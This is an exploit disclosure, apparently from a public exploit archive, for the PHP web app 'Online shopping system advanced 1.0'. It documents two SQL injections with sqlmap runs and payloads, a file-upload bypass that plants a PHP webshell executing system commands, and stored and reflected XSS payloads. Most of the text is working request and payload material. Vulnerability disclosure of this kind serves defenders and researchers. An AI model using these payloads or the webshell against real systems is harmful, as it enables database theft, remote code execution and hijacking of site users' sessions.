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# Exploit Title: Online shopping system advanced 1.0 - Multiple Vulnerabilities # Discovery by: Rafael Pedrero # Discovery Date: 2020-09-24 # Vendor Homepage: https://github.com/PuneethReddyHC/online-shopping-system-advanced # Software Link : https://github.com/PuneethReddyHC/online-shopping-system-advanced/archive/master.zip # Tested Version: 1.0 # Tested on:Windows 10 using XAMPP / Linux Ubuntu server 18.04 + Apache + php 5.X/7.X + MySQL # Recap: SQLi = 2, RCE = 1, stored XSS = 2, reflected XSS = 2: 7 vulnerabilities # Vulnerability Type: SQL Injection - #1 CVSS v3: 9.8 CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-89 Vulnerability description: Online shopping system advanced 1.0 allows SQL injection via the admin/edit_user.php, user_id parameter. Proof of concept: Save this content in a file: POST http://127.0.0.1/online/admin/edit_user.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: multipart/form-data; boundary=---------------------------120411781422335 Content-Length: 489 Origin: http://127.0.0.1 Connection: keep-alive Referer: http://127.0.0.1/online/admin/edit_user.php?user_id=25 Cookie: PHPSESSID=cbj0b7afni7t7hpl5opt207263 Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 -----------------------------120411781422335 Content-Disposition: form-data; name="user_id" 25 -----------------------------120411781422335 Content-Disposition: form-data; name="email" otheruser@gmail.com -----------------------------120411781422335 Content-Disposition: form-data; name="password" puneeth@123 -----------------------------120411781422335 Content-Disposition: form-data; name="btn_save" -----------------------------120411781422335-- And execute SQLMAP: >python sqlmap.py -r 1.txt --dbms=mysql -p user_id (custom) POST parameter 'MULTIPART user_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 115 HTTP(s) requests: --- Parameter: MULTIPART user_id ((custom) POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: -----------------------------120411781422335 Content-Disposition: form-data; name="user_id" 25' AND SLEEP(5) AND 'HGWF'='HGWF -----------------------------120411781422335 Content-Disposition: form-data; name="email" otheruser@gmail.com -----------------------------120411781422335 Content-Disposition: form-data; name="password" puneeth@123 -----------------------------120411781422335 Content-Disposition: form-data; name="btn_save" -----------------------------120411781422335-- --- [16:25:28] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.4.38, PHP 5.6.40 back-end DBMS: MySQL >= 5.0.12 # Vulnerability Type: SQL Injection - #2 CVSS v3: 9.8 CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-89 Vulnerability description: Online shopping system advanced 1.0 allows SQL injection via the action.php, proId parameter. Proof of concept: Save this content in a file: POST http://127.0.0.1/online/action.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: */* Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 49 Origin: http://127.0.0.1 Connection: keep-alive Referer: http://127.0.0.1/online/ Cookie: PHPSESSID=cbj0b7afni7t7hpl5opt207263 Host: 127.0.0.1 addToCart=1&proId=70 And execute SQLMAP: >python sqlmap.py -r 1.txt --dbms=mysql -p proId POST parameter 'proId' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests: --- Parameter: proId (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: addToCart=1&proId=70' AND 7704=7704 AND 'IGsd'='IGsd Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: addToCart=1&proId=70' AND SLEEP(5) AND 'pAwv'='pAwv --- [16:03:38] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.4.38, PHP 5.6.40 back-end DBMS: MySQL >= 5.0.12 # Vulnerability Type: Remote Command Execution (RCE) CVSS v3: 9.8 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-434 Vulnerability description: File Restriction Bypass vulnerabilities were found in Online shopping system advanced v1.0. This allows for an authenticated user to potentially obtain RCE via webshell. Proof of concept: 1. Go the add product >> (admin/add_product.php) 2.- Select product image and load a valid image. 3. Turn Burp/ZAP Intercept On 4. Select webshell - ex: shell.php 5. Alter request in the upload... Update 'filename' to desired extension. ex: shell.php Not neccesary change content type to 'image/png' Example exploitation request: ==================================================================================================== POST http://127.0.0.1/online/admin/add_product.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: multipart/form-data; boundary=---------------------------184982084830387 Content-Length: 960 Origin: http://127.0.0.1 Connection: keep-alive Referer: http://127.0.0.1/online/admin/add_product.php Cookie: PHPSESSID=cbj0b7afni7t7hpl5opt207263 Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 -----------------------------184982084830387 Content-Disposition: form-data; name="product_name" demo2 -----------------------------184982084830387 Content-Disposition: form-data; name="details" demo2 -----------------------------184982084830387 Content-Disposition: form-data; name="picture"; filename="shell.php" Content-Type: image/gif <?php echo "<pre>";system($_REQUEST['cmd']);echo "</pre>"?> -----------------------------184982084830387 Content-Disposition: form-data; name="price" 1 -----------------------------184982084830387 Content-Disposition: form-data; name="product_type" 1 -----------------------------184982084830387 Content-Disposition: form-data; name="brand" 1 -----------------------------184982084830387 Content-Disposition: form-data; name="tags" Summet -----------------------------184982084830387 Content-Disposition: form-data; name="submit" -----------------------------184982084830387-- ==================================================================================================== 6. To view the webshell path go to Product List (admin/cosmetics_list.php) 7. Send the request and visit your new webshell Ex: http://127.0.0.1/online/product_images/1600959116_shell.php?cmd=whoami nt authority\system # Vulnerability Type: stored Cross-Site Scripting (XSS) - #1 CVSS v3: 6.5 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: Online shopping system advanced v1.0, does not sufficiently encode user-controlled inputs, resulting in a stored Cross-Site Scripting (XSS) vulnerability via the admin/edit_user.php, in multiple parameter. Proof of concept: Stored: POST http://127.0.0.1/online/admin/edit_user.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: multipart/form-data; boundary=---------------------------120411781422335 Content-Length: 496 Origin: http://127.0.0.1 Connection: keep-alive Referer: http://127.0.0.1/online/admin/edit_user.php?user_id=25 Cookie: PHPSESSID=cbj0b7afni7t7hpl5opt207263 Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 -----------------------------120411781422335 Content-Disposition: form-data; name="user_id" 25 -----------------------------120411781422335 Content-Disposition: form-data; name="email" otheruser@gmail.com -----------------------------120411781422335 Content-Disposition: form-data; name="password" </td><script>alert(1);</script><td> -----------------------------120411781422335 Content-Disposition: form-data; name="btn_save" -----------------------------120411781422335-- # Vulnerability Type: stored Cross-Site Scripting (XSS) - #2 CVSS v3: 6.5 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: Online shopping system advanced v1.0, does not sufficiently encode user-controlled inputs, resulting in a stored Cross-Site Scripting (XSS) vulnerability via the admin/add_user.php, in multiple parameter. Proof of concept: Stored: POST http://127.0.0.1/online/admin/add_user.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/x-www-form-urlencoded Content-Length: 192 Origin: http://127.0.0.1 Connection: keep-alive Referer: http://127.0.0.1/online/admin/add_user.php Cookie: PHPSESSID=cbj0b7afni7t7hpl5opt207263 Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 first_name=demo&last_name=demo&email=demo%40localhost.inet&user_password=demo&mobile=5555555555&address1=%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ctd%3E&address2=here+5&btn_save= # Vulnerability Type: reflected Cross-Site Scripting (XSS) - #1 CVSS v3: 6.1 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: Online shopping system advanced v1.0, does not sufficiently encode user-controlled inputs, resulting in a reflected Cross-Site Scripting (XSS) vulnerability via the admin/clothes_list.php, in page parameter. Proof of concept: Reflected: http://127.0.0.1/online/admin/clothes_list.php?page=%3C%2Fh1%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ch1%3E # Vulnerability Type: reflected Cross-Site Scripting (XSS) - #2 CVSS v3: 6.1 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: Online shopping system advanced v1.0, does not sufficiently encode user-controlled inputs, resulting in a reflected Cross-Site Scripting (XSS) vulnerability via the admin/cosmetics_list.php, in page parameter. Proof of concept: Reflected: http://127.0.0.1/online/admin/cosmetics_list.php?page=%3C%2Fh1%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ch1%3E |
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